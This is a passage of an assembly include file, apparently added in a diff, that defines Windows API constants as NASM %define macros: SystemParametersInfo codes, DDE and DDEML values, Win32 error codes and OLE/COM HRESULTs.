19 +%define SPI_SETDESKWALLPAPER 20 +%define SPI_SETDESKPATTERN 21 +%define SPI_GETKEYBOARDDELAY 22 +%define SPI_SETKEYBOARDDELAY 23 +%define SPI_ICONVERTICALSPACING 24 +%define SPI_GETICONTITLEWRAP 25 +%define SPI_SETICONTITLEWRAP 26 +%define SPI_GETMENUDROPALIGNMENT 27 +%define SPI_SETMENUDROPALIGNMENT 28 +%define SPI_SETDOUBLECLKWIDTH 29 +%define SPI_SETDOUBLECLKHEIGHT 30 +%define SPI_GETICONTITLELOGFONT 31 +%define SPI_SETDOUBLECLICKTIME 32 +%define SPI_SETMOUSEBUTTONSWAP 33 +%define SPI_SETICONTITLELOGFONT 34 +%define SPI_GETFASTTASKSWITCH 35 +%define SPI_SETFASTTASKSWITCH 36 +%define SPI_SETDRAGFULLWINDOWS 37 +%define SPI_GETDRAGFULLWINDOWS 38 +%define SPI_GETNONCLIENTMETRICS 41 +%define SPI_SETNONCLIENTMETRICS 42 +%define SPI_GETMINIMIZEDMETRICS 43 +%define SPI_SETMINIMIZEDMETRICS 44 +%define SPI_GETICONMETRICS 45 +%define SPI_SETICONMETRICS 46 +%define SPI_SETWORKAREA 47 +%define SPI_GETWORKAREA 48 +%define SPI_SETPENWINDOWS 49 +%define SPI_GETFILTERKEYS 50 +%define SPI_SETFILTERKEYS 51 +%define SPI_GETTOGGLEKEYS 52 +%define SPI_SETTOGGLEKEYS 53 +%define SPI_GETMOUSEKEYS 54 +%define SPI_SETMOUSEKEYS 55 +%define SPI_GETSHOWSOUNDS 56 +%define SPI_SETSHOWSOUNDS 57 +%define SPI_GETSTICKYKEYS 58 +%define SPI_SETSTICKYKEYS 59 +%define SPI_GETACCESSTIMEOUT 60 +%define SPI_SETACCESSTIMEOUT 61 +%define SPI_GETSERIALKEYS 62 +%define SPI_SETSERIALKEYS 63 +%define SPI_GETSOUNDSENTRY 64 +%define SPI_SETSOUNDSENTRY 65 +%define SPI_GETHIGHCONTRAST 66 +%define SPI_SETHIGHCONTRAST 67 +%define SPI_GETKEYBOARDPREF 68 +%define SPI_SETKEYBOARDPREF 69 +%define SPI_GETSCREENREADER 70 +%define SPI_SETSCREENREADER 71 +%define SPI_GETANIMATION 72 +%define SPI_SETANIMATION 73 +%define SPI_GETFONTSMOOTHING 74 +%define SPI_SETFONTSMOOTHING 75 +%define SPI_SETDRAGWIDTH 76 +%define SPI_SETDRAGHEIGHT 77 +%define SPI_SETHANDHELD 78 +%define SPI_GETLOWPOWERTIMEOUT 79 +%define SPI_GETPOWEROFFTIMEOUT 80 +%define SPI_SETLOWPOWERTIMEOUT 81 +%define SPI_SETPOWEROFFTIMEOUT 82 +%define SPI_GETLOWPOWERACTIVE 83 +%define SPI_GETPOWEROFFACTIVE 84 +%define SPI_SETLOWPOWERACTIVE 85 +%define SPI_SETPOWEROFFACTIVE 86 +%define SPI_SETCURSORS 87 +%define SPI_SETICONS 88 +%define SPI_GETDEFAULTINPUTLANG 89 +%define SPI_SETDEFAULTINPUTLANG 90 +%define SPI_SETLANGTOGGLE 91 +%define SPI_GETWINDOWSEXTENSION 92 +%define SPI_SETMOUSETRAILS 93 +%define SPI_GETMOUSETRAILS 94 +%define SPI_SCREENSAVERRUNNING 97 +%define SPIF_UPDATEINIFILE 1h +%define SPIF_SENDWININICHANGE 2h +%define WM_DDE_FIRST 3E0h +%define WM_DDE_INITIATE WM_DDE_FIRST +%define WM_DDE_TERMINATE WM_DDE_FIRST+1 +%define WM_DDE_ADVISE WM_DDE_FIRST+2 +%define WM_DDE_UNADVISE WM_DDE_FIRST+3 +%define WM_DDE_ACK WM_DDE_FIRST+4 +%define WM_DDE_DATA WM_DDE_FIRST+5 +%define WM_DDE_REQUEST WM_DDE_FIRST+6 +%define WM_DDE_POKE WM_DDE_FIRST+7 +%define WM_DDE_EXECUTE WM_DDE_FIRST+8 +%define WM_DDE_LAST WM_DDE_FIRST+8 +%define XST_NULL 0 +%define XST_INCOMPLETE 1 +%define XST_CONNECTED 2 +%define XST_INIT1 3 +%define XST_INIT2 4 +%define XST_REQSENT 5 +%define XST_DATARCVD 6 +%define XST_POKESENT 7 +%define XST_POKEACKRCVD 8 +%define XST_EXECSENT 9 +%define XST_EXECACKRCVD 10 +%define XST_ADVSENT 11 +%define XST_UNADVSENT 12 +%define XST_ADVACKRCVD 13 +%define XST_UNADVACKRCVD 14 +%define XST_ADVDATASENT 15 +%define XST_ADVDATAACKRCVD 16 +%define CADV_LATEACK 0FFFFh +%define ST_CONNECTED 1h +%define ST_ADVISE 2h +%define ST_ISLOCAL 4h +%define ST_BLOCKED 8h +%define ST_CLIENT 10h +%define ST_TERMINATED 20h +%define ST_INLIST 40h +%define ST_BLOCKNEXT 80h +%define ST_ISSELF 100h +%define DDE_FACK 8000h +%define DDE_FBUSY 4000h +%define DDE_FDEFERUPD 4000h +%define DDE_FACKREQ 8000h +%define DDE_FRELEASE 2000h +%define DDE_FREQUESTED 1000h +%define DDE_FAPPSTATUS 0FFh +%define DDE_FNOTPROCESSED 0h +%define DDE_FACKRESERVED (-1-DDE_FACK)|DDE_FBUSY|DDE_FAPPSTATUS +%define DDE_FADVRESERVED (-1-DDE_FACKREQ)|DDE_FDEFERUPD +%define DDE_FDATRESERVED (-1-DDE_FACKREQ)|DDE_FRELEASE|DDE_FREQUESTED +%define DDE_FPOKRESERVED (-1-DDE_FRELEASE) +%define CP_WINANSI 1004 +%define CP_WINUNICODE 1200 +%define XTYPF_NOBLOCK 2h +%define XTYPF_NODATA 4h +%define XTYPF_ACKREQ 8h +%define XCLASS_MASK 0FC00h +%define XCLASS_BOOL 1000h +%define XCLASS_DATA 2000h +%define XCLASS_FLAGS 4000h +%define XCLASS_NOTIFICATION 8000h +%define XTYP_ERROR 0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK +%define XTYP_ADVDATA 10h|XCLASS_FLAGS +%define XTYP_ADVREQ 20h|XCLASS_DATA|XTYPF_NOBLOCK +%define XTYP_ADVSTART 30h|XCLASS_BOOL +%define XTYP_ADVSTOP 40h|XCLASS_NOTIFICATION +%define XTYP_EXECUTE 50h|XCLASS_FLAGS +%define XTYP_CONNECT 60h|XCLASS_BOOL|XTYPF_NOBLOCK +%define XTYP_CONNECT_CONFIRM 70h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK +%define XTYP_XACT_COMPLETE 80h|XCLASS_NOTIFICATION +%define XTYP_POKE 90h|XCLASS_FLAGS +%define XTYP_REGISTER 0A0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK +%define XTYP_REQUEST 0B0h|XCLASS_DATA +%define XTYP_DISCONNECT 0C0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK +%define XTYP_UNREGISTER 0D0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK +%define XTYP_WILDCONNECT 0E0h|XCLASS_DATA|XTYPF_NOBLOCK +%define XTYP_MASK 0F0h +%define XTYP_SHIFT 4 +%define TIMEOUT_ASYNC 0FFFFh +%define QID_SYNC 0FFFFh +%define CBR_BLOCK 0FFFFh +%define CBF_FAIL_SELFCONNECTIONS 1000h +%define CBF_FAIL_CONNECTIONS 2000h +%define CBF_FAIL_ADVISES 4000h +%define CBF_FAIL_EXECUTES 8000h +%define CBF_FAIL_POKES 10000h +%define CBF_FAIL_REQUESTS 20000h +%define CBF_FAIL_ALLSVRXACTIONS 3F000h +%define CBF_SKIP_CONNECT_CONFIRMS 40000h +%define CBF_SKIP_REGISTRATIONS 80000h +%define CBF_SKIP_UNREGISTRATIONS 100000h +%define CBF_SKIP_DISCONNECTS 200000h +%define CBF_SKIP_ALLNOTIFICATIONS 3C0000h +%define APPCMD_CLIENTONLY 10h +%define APPCMD_FILTERINITS 20h +%define APPCMD_MASK 0FF0h +%define APPCLASS_STANDARD 0h +%define APPCLASS_MASK 0Fh +%define EC_ENABLEALL 0 +%define EC_ENABLEONE ST_BLOCKNEXT +%define EC_DISABLE ST_BLOCKED +%define EC_QUERYWAITING 2 +%define DNS_REGISTER 1h +%define DNS_UNREGISTER 2h +%define DNS_FILTERON 4h +%define DNS_FILTEROFF 8h +%define HDATA_APPOWNED 1h +%define DMLERR_NO_ERROR 0 +%define DMLERR_FIRST 4000h +%define DMLERR_ADVACKTIMEOUT 4000h +%define DMLERR_BUSY 4001h +%define DMLERR_DATAACKTIMEOUT 4002h +%define DMLERR_DLL_NOT_INITIALIZED 4003h +%define DMLERR_DLL_USAGE 4004h +%define DMLERR_EXECACKTIMEOUT 4005h +%define DMLERR_INVALIDPARAMETER 4006h +%define DMLERR_LOW_MEMORY 4007h +%define DMLERR_MEMORY_ERROR 4008h +%define DMLERR_NOTPROCESSED 4009h +%define DMLERR_NO_CONV_ESTABLISHED 400Ah +%define DMLERR_POKEACKTIMEOUT 400Bh +%define DMLERR_POSTMSG_FAILED 400Ch +%define DMLERR_REENTRANCY 400Dh +%define DMLERR_SERVER_DIED 400Eh +%define DMLERR_SYS_ERROR 400Fh +%define DMLERR_UNADVACKTIMEOUT 4010h +%define DMLERR_UNFOUND_QUEUE_ID 4011h +%define DMLERR_LAST 4011h +%define MH_CREATE 1 +%define MH_KEEP 2 +%define MH_DELETE 3 +%define MH_CLEANUP 4 +%define MAX_MONITORS 4 +%define APPCLASS_MONITOR 1h +%define XTYP_MONITOR 0F0h|XCLASS_NOTIFICATION|XTYPF_NOBLOCK +%define MF_HSZ_INFO 1000000h +%define MF_SENDMSGS 2000000h +%define MF_POSTMSGS 4000000h +%define MF_CALLBACKS 8000000h +%define MF_ERRORS 10000000h +%define MF_LINKS 20000000h +%define MF_CONV 40000000h +%define MF_MASK 0FF000000h +%define NO_ERROR 0 +%define ERROR_SUCCESS 0 +%define ERROR_INVALID_FUNCTION 1 +%define ERROR_FILE_NOT_FOUND 2 +%define ERROR_PATH_NOT_FOUND 3 +%define ERROR_TOO_MANY_OPEN_FILES 4 +%define ERROR_ACCESS_DENIED 5 +%define ERROR_INVALID_HANDLE 6 +%define ERROR_ARENA_TRASHED 7 +%define ERROR_NOT_ENOUGH_MEMORY 8 +%define ERROR_INVALID_BLOCK 9 +%define ERROR_BAD_ENVIRONMENT 10 +%define ERROR_BAD_FORMAT 11 +%define ERROR_INVALID_ACCESS 12 +%define ERROR_INVALID_DATA 13 +%define ERROR_OUTOFMEMORY 14 +%define ERROR_INVALID_DRIVE 15 +%define ERROR_CURRENT_DIRECTORY 16 +%define ERROR_NOT_SAME_DEVICE 17 +%define ERROR_NO_MORE_FILES 18 +%define ERROR_WRITE_PROTECT 19 +%define ERROR_BAD_UNIT 20 +%define ERROR_NOT_READY 21 +%define ERROR_BAD_COMMAND 22 +%define ERROR_CRC 23 +%define ERROR_BAD_LENGTH 24 +%define ERROR_SEEK 25 +%define ERROR_NOT_DOS_DISK 26 +%define ERROR_SECTOR_NOT_FOUND 27 +%define ERROR_OUT_OF_PAPER 28 +%define ERROR_WRITE_FAULT 29 +%define ERROR_READ_FAULT 30 +%define ERROR_GEN_FAILURE 31 +%define ERROR_SHARING_VIOLATION 32 +%define ERROR_LOCK_VIOLATION 33 +%define ERROR_WRONG_DISK 34 +%define ERROR_SHARING_BUFFER_EXCEEDED 36 +%define ERROR_HANDLE_EOF 38 +%define ERROR_HANDLE_DISK_FULL 39 +%define ERROR_NOT_SUPPORTED 50 +%define ERROR_REM_NOT_LIST 51 +%define ERROR_DUP_NAME 52 +%define ERROR_BAD_NETPATH 53 +%define ERROR_NETWORK_BUSY 54 +%define ERROR_DEV_NOT_EXIST 55 +%define ERROR_TOO_MANY_CMDS 56 +%define ERROR_ADAP_HDW_ERR 57 +%define ERROR_BAD_NET_RESP 58 +%define ERROR_UNEXP_NET_ERR 59 +%define ERROR_BAD_REM_ADAP 60 +%define ERROR_PRINTQ_FULL 61 +%define ERROR_NO_SPOOL_SPACE 62 +%define ERROR_PRINT_CANCELLED 63 +%define ERROR_NETNAME_DELETED 64 +%define ERROR_NETWORK_ACCESS_DENIED 65 +%define ERROR_BAD_DEV_TYPE 66 +%define ERROR_BAD_NET_NAME 67 +%define ERROR_TOO_MANY_NAMES 68 +%define ERROR_TOO_MANY_SESS 69 +%define ERROR_SHARING_PAUSED 70 +%define ERROR_REQ_NOT_ACCEP 71 +%define ERROR_REDIR_PAUSED 72 +%define ERROR_FILE_EXISTS 80 +%define ERROR_CANNOT_MAKE 82 +%define ERROR_FAIL_I24 83 +%define ERROR_OUT_OF_STRUCTURES 84 +%define ERROR_ALREADY_ASSIGNED 85 +%define ERROR_INVALID_PASSWORD 86 +%define ERROR_INVALID_PARAMETER 87 +%define ERROR_NET_WRITE_FAULT 88 +%define ERROR_NO_PROC_SLOTS 89 +%define ERROR_TOO_MANY_SEMAPHORES 100 +%define ERROR_EXCL_SEM_ALREADY_OWNED 101 +%define ERROR_SEM_IS_SET 102 +%define ERROR_TOO_MANY_SEM_REQUESTS 103 +%define ERROR_INVALID_AT_INTERRUPT_TIME 104 +%define ERROR_SEM_OWNER_DIED 105 +%define ERROR_SEM_USER_LIMIT 106 +%define ERROR_DISK_CHANGE 107 +%define ERROR_DRIVE_LOCKED 108 +%define ERROR_BROKEN_PIPE 109 +%define ERROR_OPEN_FAILED 110 +%define ERROR_BUFFER_OVERFLOW 111 +%define ERROR_DISK_FULL 112 +%define ERROR_NO_MORE_SEARCH_HANDLES 113 +%define ERROR_INVALID_TARGET_HANDLE 114 +%define ERROR_INVALID_CATEGORY 117 +%define ERROR_INVALID_VERIFY_SWITCH 118 +%define ERROR_BAD_DRIVER_LEVEL 119 +%define ERROR_CALL_NOT_IMPLEMENTED 120 +%define ERROR_SEM_TIMEOUT 121 +%define ERROR_INSUFFICIENT_BUFFER 122 +%define ERROR_INVALID_NAME 123 +%define ERROR_INVALID_LEVEL 124 +%define ERROR_NO_VOLUME_LABEL 125 +%define ERROR_MOD_NOT_FOUND 126 +%define ERROR_PROC_NOT_FOUND 127 +%define ERROR_WAIT_NO_CHILDREN 128 +%define ERROR_CHILD_NOT_COMPLETE 129 +%define ERROR_DIRECT_ACCESS_HANDLE 130 +%define ERROR_NEGATIVE_SEEK 131 +%define ERROR_SEEK_ON_DEVICE 132 +%define ERROR_IS_JOIN_TARGET 133 +%define ERROR_IS_JOINED 134 +%define ERROR_IS_SUBSTED 135 +%define ERROR_NOT_JOINED 136 +%define ERROR_NOT_SUBSTED 137 +%define ERROR_JOIN_TO_JOIN 138 +%define ERROR_SUBST_TO_SUBST 139 +%define ERROR_JOIN_TO_SUBST 140 +%define ERROR_SUBST_TO_JOIN 141 +%define ERROR_BUSY_DRIVE 142 +%define ERROR_SAME_DRIVE 143 +%define ERROR_DIR_NOT_ROOT 144 +%define ERROR_DIR_NOT_EMPTY 145 +%define ERROR_IS_SUBST_PATH 146 +%define ERROR_IS_JOIN_PATH 147 +%define ERROR_PATH_BUSY 148 +%define ERROR_IS_SUBST_TARGET 149 +%define ERROR_SYSTEM_TRACE 150 +%define ERROR_INVALID_EVENT_COUNT 151 +%define ERROR_TOO_MANY_MUXWAITERS 152 +%define ERROR_INVALID_LIST_FORMAT 153 +%define ERROR_LABEL_TOO_LONG 154 +%define ERROR_TOO_MANY_TCBS 155 +%define ERROR_SIGNAL_REFUSED 156 +%define ERROR_DISCARDED 157 +%define ERROR_NOT_LOCKED 158 +%define ERROR_BAD_THREADID_ADDR 159 +%define ERROR_BAD_ARGUMENTS 160 +%define ERROR_BAD_PATHNAME 161 +%define ERROR_SIGNAL_PENDING 162 +%define ERROR_MAX_THRDS_REACHED 164 +%define ERROR_LOCK_FAILED 167 +%define ERROR_BUSY 170 +%define ERROR_CANCEL_VIOLATION 173 +%define ERROR_ATOMIC_LOCKS_NOT_SUPPORTED 174 +%define ERROR_INVALID_SEGMENT_NUMBER 180 +%define ERROR_INVALID_ORDINAL 182 +%define ERROR_ALREADY_EXISTS 183 +%define ERROR_INVALID_FLAG_NUMBER 186 +%define ERROR_SEM_NOT_FOUND 187 +%define ERROR_INVALID_STARTING_CODESEG 188 +%define ERROR_INVALID_STACKSEG 189 +%define ERROR_INVALID_MODULETYPE 190 +%define ERROR_INVALID_EXE_SIGNATURE 191 +%define ERROR_EXE_MARKED_INVALID 192 +%define ERROR_BAD_EXE_FORMAT 193 +%define ERROR_ITERATED_DATA_EXCEEDS_64k 194 +%define ERROR_INVALID_MINALLOCSIZE 195 +%define ERROR_DYNLINK_FROM_INVALID_RING 196 +%define ERROR_IOPL_NOT_ENABLED 197 +%define ERROR_INVALID_SEGDPL 198 +%define ERROR_AUTODATASEG_EXCEEDS_64k 199 +%define ERROR_RING2SEG_MUST_BE_MOVABLE 200 +%define ERROR_RELOC_CHAIN_XEEDS_SEGLIM 201 +%define ERROR_INFLOOP_IN_RELOC_CHAIN 202 +%define ERROR_ENVVAR_NOT_FOUND 203 +%define ERROR_NO_SIGNAL_SENT 205 +%define ERROR_FILENAME_EXCED_RANGE 206 +%define ERROR_RING2_STACK_IN_USE 207 +%define ERROR_META_EXPANSION_TOO_LONG 208 +%define ERROR_INVALID_SIGNAL_NUMBER 209 +%define ERROR_THREAD_1_INACTIVE 210 +%define ERROR_LOCKED 212 +%define ERROR_TOO_MANY_MODULES 214 +%define ERROR_NESTING_NOT_ALLOWED 215 +%define ERROR_BAD_PIPE 230 +%define ERROR_PIPE_BUSY 231 +%define ERROR_NO_DATA 232 +%define ERROR_PIPE_NOT_CONNECTED 233 +%define ERROR_MORE_DATA 234 +%define ERROR_VC_DISCONNECTED 240 +%define ERROR_INVALID_EA_NAME 254 +%define ERROR_EA_LIST_INCONSISTENT 255 +%define ERROR_NO_MORE_ITEMS 259 +%define ERROR_CANNOT_COPY 266 +%define ERROR_DIRECTORY 267 +%define ERROR_EAS_DIDNT_FIT 275 +%define ERROR_EA_FILE_CORRUPT 276 +%define ERROR_EA_TABLE_FULL 277 +%define ERROR_INVALID_EA_HANDLE 278 +%define ERROR_EAS_NOT_SUPPORTED 282 +%define ERROR_NOT_OWNER 288 +%define ERROR_TOO_MANY_POSTS 298 +%define ERROR_MR_MID_NOT_FOUND 317 +%define ERROR_INVALID_ADDRESS 487 +%define ERROR_ARITHMETIC_OVERFLOW 534 +%define ERROR_PIPE_CONNECTED 535 +%define ERROR_PIPE_LISTENING 536 +%define ERROR_EA_ACCESS_DENIED 994 +%define ERROR_OPERATION_ABORTED 995 +%define ERROR_IO_INCOMPLETE 996 +%define ERROR_IO_PENDING 997 +%define ERROR_NOACCESS 998 +%define ERROR_SWAPERROR 999 +%define ERROR_STACK_OVERFLOW 1001 +%define ERROR_INVALID_MESSAGE 1002 +%define ERROR_CAN_NOT_COMPLETE 1003 +%define ERROR_INVALID_FLAGS 1004 +%define ERROR_UNRECOGNIZED_VOLUME 1005 +%define ERROR_FILE_INVALID 1006 +%define ERROR_FULLSCREEN_MODE 1007 +%define ERROR_NO_TOKEN 1008 +%define ERROR_BADDB 1009 +%define ERROR_BADKEY 1010 +%define ERROR_CANTOPEN 1011 +%define ERROR_CANTREAD 1012 +%define ERROR_CANTWRITE 1013 +%define ERROR_REGISTRY_RECOVERED 1014 +%define ERROR_REGISTRY_CORRUPT 1015 +%define ERROR_REGISTRY_IO_FAILED 1016 +%define ERROR_NOT_REGISTRY_FILE 1017 +%define ERROR_KEY_DELETED 1018 +%define ERROR_NO_LOG_SPACE 1019 +%define ERROR_KEY_HAS_CHILDREN 1020 +%define ERROR_CHILD_MUST_BE_VOLATILE 1021 +%define ERROR_NOTIFY_ENUM_DIR 1022 +%define ERROR_DEPENDENT_SERVICES_RUNNING 1051 +%define ERROR_INVALID_SERVICE_CONTROL 1052 +%define ERROR_SERVICE_REQUEST_TIMEOUT 1053 +%define ERROR_SERVICE_NO_THREAD 1054 +%define ERROR_SERVICE_DATABASE_LOCKED 1055 +%define ERROR_SERVICE_ALREADY_RUNNING 1056 +%define ERROR_INVALID_SERVICE_ACCOUNT 1057 +%define ERROR_SERVICE_DISABLED 1058 +%define ERROR_CIRCULAR_DEPENDENCY 1059 +%define ERROR_SERVICE_DOES_NOT_EXIST 1060 +%define ERROR_SERVICE_CANNOT_ACCEPT_CTRL 1061 +%define ERROR_SERVICE_NOT_ACTIVE 1062 +%define ERROR_FAILED_SERVICE_CONTROLLER_CONNECT 1063 +%define ERROR_EXCEPTION_IN_SERVICE 1064 +%define ERROR_DATABASE_DOES_NOT_EXIST 1065 +%define ERROR_SERVICE_SPECIFIC_ERROR 1066 +%define ERROR_PROCESS_ABORTED 1067 +%define ERROR_SERVICE_DEPENDENCY_FAIL 1068 +%define ERROR_SERVICE_LOGON_FAILED 1069 +%define ERROR_SERVICE_START_HANG 1070 +%define ERROR_INVALID_SERVICE_LOCK 1071 +%define ERROR_SERVICE_MARKED_FOR_DELETE 1072 +%define ERROR_SERVICE_EXISTS 1073 +%define ERROR_ALREADY_RUNNING_LKG 1074 +%define ERROR_SERVICE_DEPENDENCY_DELETED 1075 +%define ERROR_BOOT_ALREADY_ACCEPTED 1076 +%define ERROR_SERVICE_NEVER_STARTED 1077 +%define ERROR_DUPLICATE_SERVICE_NAME 1078 +%define ERROR_END_OF_MEDIA 1100 +%define ERROR_FILEMARK_DETECTED 1101 +%define ERROR_BEGINNING_OF_MEDIA 1102 +%define ERROR_SETMARK_DETECTED 1103 +%define ERROR_NO_DATA_DETECTED 1104 +%define ERROR_PARTITION_FAILURE 1105 +%define ERROR_INVALID_BLOCK_LENGTH 1106 +%define ERROR_DEVICE_NOT_PARTITIONED 1107 +%define ERROR_UNABLE_TO_LOCK_MEDIA 1108 +%define ERROR_UNABLE_TO_UNLOAD_MEDIA 1109 +%define ERROR_MEDIA_CHANGED 1110 +%define ERROR_BUS_RESET 1111 +%define ERROR_NO_MEDIA_IN_DRIVE 1112 +%define ERROR_NO_UNICODE_TRANSLATION 1113 +%define ERROR_DLL_INIT_FAILED 1114 +%define ERROR_SHUTDOWN_IN_PROGRESS 1115 +%define ERROR_NO_SHUTDOWN_IN_PROGRESS 1116 +%define ERROR_IO_DEVICE 1117 +%define ERROR_SERIAL_NO_DEVICE 1118 +%define ERROR_IRQ_BUSY 1119 +%define ERROR_MORE_WRITES 1120 +%define ERROR_COUNTER_TIMEOUT 1121 +%define ERROR_FLOPPY_ID_MARK_NOT_FOUND 1122 +%define ERROR_FLOPPY_WRONG_CYLINDER 1123 +%define ERROR_FLOPPY_UNKNOWN_ERROR 1124 +%define ERROR_FLOPPY_BAD_REGISTERS 1125 +%define ERROR_DISK_RECALIBRATE_FAILED 1126 +%define ERROR_DISK_OPERATION_FAILED 1127 +%define ERROR_DISK_RESET_FAILED 1128 +%define ERROR_EOM_OVERFLOW 1129 +%define ERROR_NOT_ENOUGH_SERVER_MEMORY 1130 +%define ERROR_POSSIBLE_DEADLOCK 1131 +%define ERROR_MAPPED_ALIGNMENT 1132 +%define ERROR_INVALID_PIXEL_FORMAT 2000 +%define ERROR_BAD_DRIVER 2001 +%define ERROR_INVALID_WINDOW_STYLE 2002 +%define ERROR_METAFILE_NOT_SUPPORTED 2003 +%define ERROR_TRANSFORM_NOT_SUPPORTED 2004 +%define ERROR_CLIPPING_NOT_SUPPORTED 2005 +%define ERROR_UNKNOWN_PRINT_MONITOR 3000 +%define ERROR_PRINTER_DRIVER_IN_USE 3001 +%define ERROR_SPOOL_FILE_NOT_FOUND 3002 +%define ERROR_SPL_NO_STARTDOC 3003 +%define ERROR_SPL_NO_ADDJOB 3004 +%define ERROR_PRINT_PROCESSOR_ALREADY_INSTALLED 3005 +%define ERROR_PRINT_MONITOR_ALREADY_INSTALLED 3006 +%define ERROR_WINS_INTERNAL 4000 +%define ERROR_CAN_NOT_DEL_LOCAL_WINS 4001 +%define ERROR_STATIC_INIT 4002 +%define ERROR_INC_BACKUP 4003 +%define ERROR_FULL_BACKUP 4004 +%define ERROR_REC_NON_EXISTENT 4005 +%define ERROR_RPL_NOT_ALLOWED 4006 +%define SEVERITY_SUCCESS 0 +%define SEVERITY_ERROR 1 +%define FACILITY_NT_BIT 10000000h +%define NOERROR 0 +%define E_UNEXPECTED 8000FFFFh +%define E_NOTIMPL 80004001h +%define E_OUTOFMEMORY 8007000Eh +%define E_INVALIDARG 80070057h +%define E_NOINTERFACE 80004002h +%define E_POINTER 80004003h +%define E_HANDLE 80070006h +%define E_ABORT 80004004h +%define E_FAIL 80004005h +%define E_ACCESSDENIED 80070005h +%define CO_E_INIT_TLS 80004006h +%define CO_E_INIT_SHARED_ALLOCATOR 80004007h +%define CO_E_INIT_MEMORY_ALLOCATOR 80004008h +%define CO_E_INIT_CLASS_CACHE 80004009h +%define CO_E_INIT_RPC_CHANNEL 8000400Ah +%define CO_E_INIT_TLS_SET_CHANNEL_CONTROL 8000400Bh +%define CO_E_INIT_TLS_CHANNEL_CONTROL 8000400Ch +%define CO_E_INIT_UNACCEPTED_USER_ALLOCATOR 8000400Dh +%define CO_E_INIT_SCM_MUTEX_EXISTS 8000400Eh +%define CO_E_INIT_SCM_FILE_MAPPING_EXISTS 8000400Fh +%define CO_E_INIT_SCM_MAP_VIEW_OF_FILE 80004010h +%define CO_E_INIT_SCM_EXEC_FAILURE 80004011h +%define CO_E_INIT_ONLY_SINGLE_THREADED 80004012h +%define S_OK 0h +%define S_FALSE 1h +%define OLE_E_FIRST 80040000h +%define OLE_E_LAST 800400FFh +%define OLE_S_FIRST 40000h +%define OLE_S_LAST 400FFh +%define OLE_E_OLEVERB 80040000h +%define OLE_E_ADVF 80040001h +%define OLE_E_ENUM_NOMORE 80040002h +%define OLE_E_ADVISENOTSUPPORTED 80040003h +%define OLE_E_NOCONNECTION 80040004h +%define OLE_E_NOTRUNNING 80040005h +%define OLE_E_NOCACHE 80040006h +%define OLE_E_BLANK 80040007h +%define OLE_E_CLASSDIFF 80040008h +%define OLE_E_CANT_GETMONIKER 80040009h +%define OLE_E_CANT_BINDTOSOURCE 8004000Ah +%define OLE_E_STATIC 8004000Bh +%define OLE_E_PROMPTSAVECANCELLED 8004000Ch +%define OLE_E_INVALIDRECT 8004000Dh +%define OLE_E_WRONGCOMPOBJ 8004000Eh +%define OLE_E_INVALIDHWND 8004000Fh +%define OLE_E_NOT_INPLACEACTIVE 80040010h +%define OLE_E_CANTCONVERT 80040011h +%define OLE_E_NOSTORAGE 80040012h +%define DV_E_FORMATETC 80040064h +%define DV_E_DVTARGETDEVICE 80040065h +%define DV_E_STGMEDIUM 80040066h +%define DV_E_STATDATA 80040067h +%define DV_E_LINDEX 80040068h +%define DV_E_TYMED 80040069h +%define DV_E_CLIPFORMAT 8004006Ah +%define DV_E_DVASPECT 8004006Bh +%define DV_E_DVTARGETDEVICE_SIZE 8004006Ch +%define DV_E_NOIVIEWOBJECT 8004006Dh +%define DRAGDROP_E_FIRST 80040100h +%define DRAGDROP_E_LAST 8004010Fh +%define DRAGDROP_S_FIRST 40100h +%define DRAGDROP_S_LAST 4010Fh +%define DRAGDROP_E_NOTREGISTERED 80040100h +%define DRAGDROP_E_ALREADYREGISTERED 80040101h +%define DRAGDROP_E_INVALIDHWND 80040102h +%define CLASSFACTORY_E_FIRST 80040110h +%define CLASSFACTORY_E_LAST 8004011Fh +%define CLASSFACTORY_S_FIRST 40110h +%define CLASSFACTORY_S_LAST 4011Fh +%define CLASS_E_NOAGGREGATION 80040110h +%define CLASS_E_CLASSNOTAVAILABLE 80040111h +%define MARSHAL_E_FIRST 80040120h +%define MARSHAL_E_LAST 8004012Fh +%define MARSHAL_S_FIRST 40120h +%define MARSHAL_S_LAST 4012Fh +%define DATA_E_FIRST 80040130h +%define DATA_E_LAST 8004013Fh +%define DATA_S_FIRST 40130h +%define DATA_S_LAST 4013Fh +%define VIEW_E_FIRST 80040140h +%define VIEW_E_LAST 8004014Fh +%define VIEW_S_FIRST 40140h +%define VIEW_S_LAST 4014Fh +%define VIEW_E_DRAW 80040140h +%define REGDB_E_FIRST 80040150h +%define REGDB_E_LAST 8004015Fh +%define REGDB_S_FIRST 40150h +%define REGDB_S_LAST 4015Fh +%define REGDB_E_READREGDB 80040150h +%define REGDB_E_WRITEREGDB 80040151h +%define REGDB_E_KEYMISSING 80040152h +%define REGDB_E_INVALIDVALUE 80040153h +%define REGDB_E_CLASSNOTREG 80040154h +%define REGDB_E_IIDNOTREG 80040155h +%define CACHE_E_FIRST 80040170h +%define CACHE_E_LAST 8004017Fh +%define CACHE_S_FIRST 40170h +%define CACHE_S_LAST 4017Fh +%define CACHE_E_NOCACHE_UPDATED 80040170h +%define OLEOBJ_E_FIRST 80040180h +%define OLEOBJ_E_LAST 8004018Fh +%define OLEOBJ_S_FIRST 40180h +%define OLEOBJ_S_LAST 4018Fh +%define OLEOBJ_E_NOVERBS 80040180h +%define OLEOBJ_E_INVALIDVERB 80040181h +%define CLIENTSITE_E_FIRST 80040190h +%define CLIENTSITE_E_LAST 8004019Fh +%define CLIENTSITE_S_FIRST 40190h +%define CLIENTSITE_S_LAST 4019Fh +%define INPLACE_E_NOTUNDOABLE 800401A0h +%define INPLACE_E_NOTOOLSPACE 800401A1h +%define INPLACE_E_FIRST 800401A0h +%define INPLACE_E_LAST 800401AFh +%define INPLACE_S_FIRST 401A0h +%define INPLACE_S_LAST 401AFh +%define ENUM_E_FIRST 800401B0h +%define ENUM_E_LAST 800401BFh +%define ENUM_S_FIRST 401B0h +%define ENUM_S_LAST 401BFh +%define CONVERT10_E_FIRST 800401C0h +%define CONVERT10_E_LAST 800401CFh +%define CONVERT10_S_FIRST 401C0h +%define CONVERT10_S_LAST 401CFh +%define CONVERT10_E_OLESTREAM_GET 800401C0h +%define CONVERT10_E_OLESTREAM_PUT 800401C1h +%define CONVERT10_E_OLESTREAM_FMT 800401C2h +%define CONVERT10_E_OLESTREAM_BITMAP_TO_DIB 800401C3h +%define 